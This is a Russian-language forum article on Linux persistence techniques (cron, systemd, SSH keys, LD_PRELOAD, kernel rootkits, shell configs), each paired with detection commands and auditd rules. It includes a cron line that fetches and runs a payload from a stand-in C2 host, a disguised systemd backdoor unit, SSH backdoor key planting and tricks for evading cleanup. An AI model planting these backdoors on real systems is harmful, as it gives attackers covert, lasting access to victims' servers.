ANTICHAT - Техники закрепления в Linux: cron, systemd, SSH-ключи, LD

https://forum.antichat.xyz/attachmen...8c8af70bba.png

Вот ситуация: вы получили reverse shell на Linux-сервере через дырявый веб-сервис. Первая мысль - «отлично, я внутри». Вторая - «а завтра админ перезагрузит сервер, и я потеряю всё». Persistence - закрепление в системе - это то, что отличает случайное проникновение от полноценной операции (в руководстве Linux для пентестера этот этап разобран в контексте полного post-exploitation цикла). Ниже разберу пять техник закрепления в Linux, которые реально используются в Red Team engagement'ах, и для каждой сразу покажу, как её обнаружить. Без воды - конкретные команды, конкретные файлы и конкретные ловушки, в которые попадают и атакующие, и защитники.
Что такое persistence и почему это критично для post-exploitation
Persistence в терминах MITRE ATT&CK - набор тактик, позволяющих атакующему сохранять доступ к скомпрометированной системе после перезагрузки, смены паролей или даже частичной очистки. По сути, вы прячете «запасной вход» так, чтобы даже если основной канал обнаружат и закроют - вы могли вернуться.

Linux-серверы - идеальная цель для закрепления. Перезагружаются редко, антивируса в привычном понимании почти нигде нет, а админы далеко не всегда мониторят все точки автозагрузки. Большинство материалов по теме перечисляют техники списком, но не объясняют логику выбора: когда cron, а когда systemd? Почему SSH-ключи надёжнее reverse shell в

Код:

.bashrc

? В каком случае стоит рисковать с kernel-модулем? Именно эту логику я и раскрою.

Каждая техника привязана к конкретному MITRE ATT&CK ID - это не академическое украшение, а способ связать атакующую технику с правилами детекта в вашем SIEM.
Linux cron backdoor: самый частый и самый шумный способ
Cron (T1053.003 - Execution, Persistence, Privilege Escalation) - первое, за что хватается начинающий атакующий, и первое, что проверяет опытный защитник. Планировщик задач выполняет команды по расписанию - а значит, можно прописать загрузку payload'а каждые пять минут.

Типичный сценарий: атакующий добавляет

Код:

/5 * wget -O /tmp/.update.sh http://c2.example.com/payload && bash /tmp/.update.sh >/dev/null 2>&1

в crontab скомпрометированного пользователя. Трюк с

Код:

>/dev/null 2>&1

подавляет весь вывод и делает задачу «тихой» в логах.
Где именно прячутся вредоносные cron-задачи
Вот что нужно понимать: cron - это не один файл, это целое хозяйство. Новичок проверит

Код:

crontab -l

от своего пользователя и решит, что всё чисто. Опытный специалист проверит минимум пять мест.

Персональные crontab-файлы каждого пользователя лежат в

Код:

/var/spool/cron/crontabs/

(Debian) или

Код:

/var/spool/cron/

(Red Hat). Команда

Код:

for user in $(cut -f1 -d: /etc/passwd); do echo "=== $user ==="; crontab -u $user -l 2>/dev/null; done

проходит по всем учёткам. Особое внимание - на сервисных пользователей вроде

Код:

www-data

Код:

nobody

Код:

apache

. Атакующие любят именно их, потому что админы редко заглядывают в crontab сервисных аккаунтов.

Системный

Код:

/etc/crontab

может содержать вставки в самом конце файла. Директории

Код:

/etc/cron.d/

Код:

/etc/cron.hourly/

Код:

/etc/cron.daily/

Код:

/etc/cron.weekly/

Код:

/etc/cron.monthly/

- здесь скрипты получают «легитимные» имена вроде

Код:

logrotate-helper

или

Код:

php_cache_update

, чтобы не бросаться в глаза при беглом просмотре.

По данным исследования dohost.us, атакующие часто маскируют payload'ы под системные задачи - файлы

Код:

000anacron

или

Код:

sysstat-collect

. Работает, потому что админ видит знакомое имя и пролистывает дальше.
Обнаружение cron-бэкдора на практике
Первый шаг - тот самый цикл по всем пользователям. Второй -

Код:

ls -la /etc/cron.*

с флагом

Код:

-a

для скрытых файлов. Третий - логи: на Debian смотрите

Код:

/var/log/cron.log

или

Код:

grep CRON /var/log/syslog

, на Red Hat -

Код:

/var/log/cron

. Если задача дёргается каждые пять минут и вызывает

Код:

curl

Код:

wget

или

Код:

bash

с сетевым обращением - красный флаг.

Для автоматизации - auditd с правилом на запись в

Код:

/var/spool/cron/

Код:

/etc/cron.d/

. LinPEAS при сканировании выводит все нестандартные cron-задачи в отдельной секции - полезно и пентестеру, и защитнику.
Systemd persistence: вредоносный сервис под видом легитимного
Systemd Service (T1543.002 - Persistence, Privilege Escalation) - более элегантный способ, чем cron. Systemd сам перезапустит «упавший» сервис, и в списке юнитов ваш бэкдор будет выглядеть как обычный демон.

Атакующий создаёт unit-файл с директивами

Код:

Restart=always

Код:

RestartSec=60

Код:

ExecStart

указывает на reverse shell или загрузчик. Файл кладётся в

Код:

/etc/systemd/system/

(нужен root) или в

Код:

~/.config/systemd/user/

(обычный пользователь). Дальше

Код:

systemctl enable

Код:

systemctl start

- сервис закреплён и переживёт перезагрузку.

INI:

Код:

[Unit]

Description

=System Log Aggregator

After

=network.target

[Service]

Type

=simple

ExecStart

=/usr/local/bin/syslogd-helper

Restart

=always

RestartSec

=60

[Install]

WantedBy

=multi-user.target

Обратите внимание на имя:

Код:

System Log Aggregator

и бинарь

Код:

syslogd-helper

- выглядит абсолютно легитимно. Именно так это делается в реальных операциях. Никаких

Код:

persistence.service

или

Код:

backdoor.service

, как показывают в туториалах.
User-level vs system-level: важная разница для атакующего
Момент, на котором спотыкаются новички: user-mode сервисы через

Код:

systemctl --user

работают только пока пользователь залогинен - если не включён

Код:

loginctl enable-linger

. Забудете про linger - сервис умрёт при выходе из системы. System-level юниты в

Код:

/etc/systemd/system/

требуют root, зато работают всегда.

Ещё один хитрый приём (описан на temofeev.ru): вписать свой юнит в зависимости легитимного сервиса через

Код:

Requires=

, а вредоносную логику засунуть в

Код:

OnFailure=

. Если админ найдёт и удалит ваш юнит, легитимный сервис перестанет стартовать, кинет ошибку - и выполнит код из OnFailure. Это уже persistence, который переживает даже частичную очистку. Красиво, правда?
Обнаружение вредоносных systemd-юнитов

Код:

systemctl list-unit-files --state=enabled

покажет все активированные юниты. Ищите незнакомые имена и юниты, созданные недавно - проверяйте через

Код:

stat /etc/systemd/system/suspicious.service

. LinPEAS и pspy хорошо подсвечивают нестандартные юниты. Отдельно проверяйте

Код:

~/.config/systemd/user/

для каждого аккаунта - это место часто пропускают при аудите.

Для мониторинга в реальном времени - auditd-правило на

Код:

/etc/systemd/system/

и inotify-watch на создание новых файлов. Sysmon for Linux (по данным linuxsecurity.com) эффективно логирует создание процессов и позволяет связать запуск подозрительного бинаря с юнит-файлом.
SSH-ключи как backdoor: тихо, надёжно, переживает смену пароля
SSH Authorized Keys (T1098.004 - Persistence, Privilege Escalation) - мой любимый метод закрепления на реальных engagement'ах. Причина проста: это абсолютно легитимный механизм аутентификации. Никаких дополнительных процессов, никаких странных сервисов или cron-задач.

Сценарий: атакующий генерирует пару ключей

Код:

ssh-keygen -t ed25519 -f /tmp/backdoor_key -N ""

, затем добавляет публичный ключ в

Код:

~/.ssh/authorized_keys

целевого пользователя. Критически важно выставить правильные права:

Код:

chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys

. Если права кривые - SSH-демон откажется использовать файл, и ваш бэкдор просто не сработает. На эти грабли наступает каждый второй новичок.

Lateral movement через SSH (T1021.004) позволяет использовать закреплённый ключ для подключения к другим хостам, где тот же пользователь (например,

Код:

deploy

или

Код:

ansible

) имеет соответствующий authorized_keys.
Продвинутые трюки с SSH-ключами
Добавление ключа в

Код:

/root/.ssh/authorized_keys

- очевидный ход, который быстро обнаружат. Менее заметные варианты: добавить ключ системному пользователю вроде

Код:

git

Код:

deploy

или

Код:

backup

, у которого есть shell-доступ, и за ним никто не следит.

Ещё один приём - директива

Код:

AuthorizedKeysFile

Код:

/etc/ssh/sshd_config

. Если атакующий поменяет эту строку на

Код:

/etc/ssh/.auth_keys

, стандартный аудит authorized_keys ничего не найдёт. Файл-то лежит в совсем другом месте.
Обнаружение подброшенных ключей

Код:

find / -name "authorized_keys" -exec ls -la {} \; 2>/dev/null

найдёт все файлы authorized_keys в системе. Смотрите на timestamp - если файл менялся недавно, а легитимных изменений не было, это сигнал. Проверяйте

Код:

/etc/ssh/sshd_config

на нестандартные значения

Код:

AuthorizedKeysFile

. Мониторинг через auditd:

Код:

-w /root/.ssh/authorized_keys -p wa -k ssh_key_modification

даёт алерт при любом изменении файла.
LD_PRELOAD rootkit: перехват без модификации бинарей
Dynamic Linker Hijacking (T1574.006 - Persistence, Privilege Escalation, Defense Evasion) - техника, которая позволяет подменять функции стандартных библиотек, не трогая сами бинари. Динамический линковщик Linux загружает библиотеки из

Код:

LD_PRELOAD

или файла

Код:

/etc/ld.so.preload

раньше всех остальных. Ваша функция

Код:

read()

вызывается вместо стандартной - и вы можете фильтровать вывод, прятать файлы, маскировать процессы.

На практике: атакующий пишет на C библиотеку, перехватывающую

Код:

readdir()

, чтобы скрывать файлы с определённым префиксом из листинга. Компилируется через

Код:

gcc -shared -fPIC -o /lib/.hidden.so hook.c -ldl

, прописывается в

Код:

/etc/ld.so.preload

. После этого

Код:

ls

Код:

find

и даже

Код:

stat

не увидят скрытые файлы - все они используют одну и ту же библиотечную функцию.
Почему LD_PRELOAD не работает с SUID-бинарями
Момент, который обязательно нужно проговорить: если бинарь имеет бит SUID или SGID, линковщик игнорирует

Код:

LD_PRELOAD

из соображений безопасности.

Код:

sudo

Код:

passwd

Код:

ping

и прочие SUID-бинари не загрузят вашу вредоносную библиотеку через переменную окружения. Но файл

Код:

/etc/ld.so.preload

работает даже для SUID-бинарей - именно поэтому атакующие предпочитают этот файл, а не переменную.
Обнаружение LD_PRELOAD-хуков
Проверка банальна, но работает:

Код:

cat /etc/ld.so.preload

- файл либо не должен существовать, либо пустой на большинстве систем. Если там что-то есть - это почти наверняка нештатная ситуация. Дальше:

Код:

env | grep LD_PRELOAD

для текущего пользователя и

Код:

grep LD_PRELOAD /etc/environment /etc/profile /etc/bash.bashrc ~/.bashrc

для проверки shell-конфигов.

Код:

ldd /usr/bin/ls

покажет, какие библиотеки загружаются - нестандартные пути должны насторожить.
Linux rootkit: Diamorphine, Reptile и модификация syscall table
Rootkit (T1014 - Defense Evasion) в связке с Kernel Modules and Extensions (T1547.006 - Persistence, Privilege Escalation) - высший уровень закрепления в Linux. Загружаемый модуль ядра (LKM) получает полный контроль над ОС: может скрывать процессы, файлы, сетевые соединения и даже других пользователей.

Два наиболее известных open-source rootkit'а, исходники которых я разбирал сам, - Diamorphine и Reptile. Diamorphine работает через перехват системных вызовов: в старых версиях подменял указатели в syscall table (отключая WP-бит через cr0), а в современных (ядра 4.17+) использует ftrace-хуки. При вызове

Код:

getdents64

(листинг файлов) или

Код:

kill

(отправка сигналов) вызывается его функция-обёртка. Управление - через сигналы:

Код:

kill -31

- эскалация до root для вызывающего процесса,

Код:

kill -63

- скрытие/отображение процесса,

Код:

kill -64

- скрытие самого модуля из lsmod.

Reptile использует аналогичный подход, но добавляет скрытый reverse shell, активируемый magic-пакетом - специальным сетевым пакетом с определённой сигнатурой, который не отображается в обычном трафике. Зверь посерьёзнее.
Как обнаружить LKM rootkit
Парадокс kernel-rootkit'а: он контролирует ядро, а значит, может обмануть любой инструмент из userspace. Тем не менее рабочие методы есть.

Сравнение

Код:

/proc/modules

с содержимым

Код:

/sys/module/

- расхождения указывают на скрытый модуль (

Код:

lsmod

не поможет, он парсит тот же

Код:

/proc/modules

). Для Diamorphine можно проверить наличие перехвата: записать известный PID, отправить

Код:

kill -63

- если процесс исчезнет из

Код:

ps

, Diamorphine активен. Но этот тест модифицирует состояние системы, так что используйте осторожно.

rkhunter (

Код:

rkhunter --check

) и chkrootkit выполняют базовые проверки, хотя продвинутые LKM-rootkit'ы могут их обойти. Более надёжный подход - анализ памяти ядра через Volatility или LiME (Linux Memory Extractor) на отдельной доверенной машине.
Модификация shell-конфигов: .bashrc и .bash_profile
Unix Shell Configuration Modification (T1546.004 - Persistence, Privilege Escalation) - метод, который сам по себе не переживёт перезагрузку, но срабатывает каждый раз, когда пользователь открывает терминал или входит по SSH. Атакующий вставляет reverse shell в

Код:

.bashrc

или

Код:

.bash_profile

- и при каждом логине жертвы получает новое соединение.

Тонкость, на которой спотыкаются даже опытные специалисты:

Код:

.bash_profile

выполняется только для login shell (вход по SSH,

Код:

su -l

), а

Код:

.bashrc

- для интерактивных non-login shell (открытие терминала). В Ubuntu

Код:

.bash_profile

по умолчанию отсутствует, bash читает

Код:

.profile

, который делает source

Код:

.bashrc

- вставка в

Код:

.bashrc

покрывает оба случая. Но если

Код:

.bash_profile

существует (RHEL/CentOS), он перекрывает

Код:

.profile

, и

Код:

.bashrc

для login shell не выполнится. Нужна вставка в оба файла. А

Код:

.bash_login

вообще не выполняется при наличии

Код:

.bash_profile

- путаница знатная.

Системные аналоги -

Код:

/etc/profile

Код:

/etc/bash.bashrc

Код:

/etc/environment

- требуют root, но затрагивают всех пользователей. Обнаружение: регулярный diff этих файлов с эталоном или мониторинг через auditd с ключом на запись.
Практический чеклист: полный аудит persistence в Linux
Собираем всё в одно место. Последовательность, которую я использую на каждом engagement'е при threat hunting:

🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Bash:

Код:

# 1. Cron - все пользователи

for

u

in

$(cut -f1 -d: /etc/passwd)

;

do

echo

"== $u =="

;

crontab

-u

$u

-l

2>

/dev/null

;

done

ls

-la /etc/cron.* /var/spool/cron/

# 2. Systemd - нестандартные юниты

systemctl list-unit-files --state

=

enabled

|

grep

-v

'/usr/lib/'

find

~/.config/systemd/ /etc/systemd/system/ -name

'*.service'

-newer /etc/hostname

# 3. SSH - все authorized_keys

find

/ -name authorized_keys -o -name authorized_keys2

2>

/dev/null

|

xargs

ls

-la

grep

AuthorizedKeysFile /etc/ssh/sshd_config

# 4. LD_PRELOAD

cat

/etc/ld.so.preload

2>

/dev/null

;

echo

"---"

grep

-r LD_PRELOAD /etc/environment /etc/profile.d/ /etc/bash.bashrc

# 5. Kernel modules и rootkits

diff

<

(

lsmod

|

awk

'{print $1}'

|

sort

)

<

(

ls

/sys/module/

|

sort

)

;

rkhunter --check --sk

Этот чеклист не заменяет LinPEAS или PANIX (специализированный инструмент для тестирования persistence, описанный на linuxsecurity.com), но даёт быстрый ручной срез по всем точкам.

Дополнительно рекомендую auditd-правила на все критические пути:

Код:

/var/spool/cron/

Код:

/etc/systemd/system/

Код:

/root/.ssh/

Код:

/etc/ld.so.preload

. Sysmon for Linux в связке с auditd покрывает и создание файлов, и запуск подозрительных процессов.

Как выбрать технику закрепления под конкретный сценарий
Техники закрепления в Linux не равнозначны. Выбор зависит от привилегий, задачи и допустимого уровня «шума».

Обычный пользователь без root - работают user-cron, пользовательские systemd-юниты (

Код:

--user

) и SSH-ключи. С root - открываются system-level cron, systemd в

Код:

/etc/systemd/system/

Код:

/etc/ld.so.preload

и LKM-rootkits.

По скрытности: SSH-ключи практически бесшумны. Cron - шумный, обнаруживается первым. Systemd - средний уровень. LD_PRELOAD - тихий, но палится проверкой одного файла. Rootkit - максимальная скрытность, но и максимальный риск уронить систему.

По надёжности: systemd с

Код:

Restart=always

- самый надёжный, переживёт и перезагрузку, и падение процесса. Cron с интервалом в 5 минут - второй. SSH-ключ - вечный, пока не удалят файл. Rootkit переживает всё, кроме обновления ядра и перезагрузки (если модуль не прописан в

Код:

/etc/modules-load.d/

или

Код:

/etc/modules

, а для выживания после обновления ядра - через DKMS для автоматической пересборки).

В реальных операциях я всегда комбинирую минимум два метода: основной канал (systemd или SSH-ключ) и резервный (cron или .bashrc). Если защитники находят один - второй остаётся.
Вопрос к читателям
В чеклисте выше я использую

Код:

find / -name authorized_keys

для поиска подброшенных SSH-ключей, но это не ловит сценарий с изменённым

Код:

AuthorizedKeysFile

в sshd_config на нестандартный путь вроде

Код:

/etc/ssh/.auth_store

. Кто настраивал auditd-правило, покрывающее именно этот кейс - мониторинг изменений директивы

Код:

AuthorizedKeysFile

Код:

/etc/ssh/sshd_config

плюс watch на появление новых файлов по нестандартному пути? Покажите вашу конфигурацию auditd-rule: какой ключ

Код:

-k

используете и ловите ли

Код:

sshd -t

(тест конфига) как дополнительный индикатор?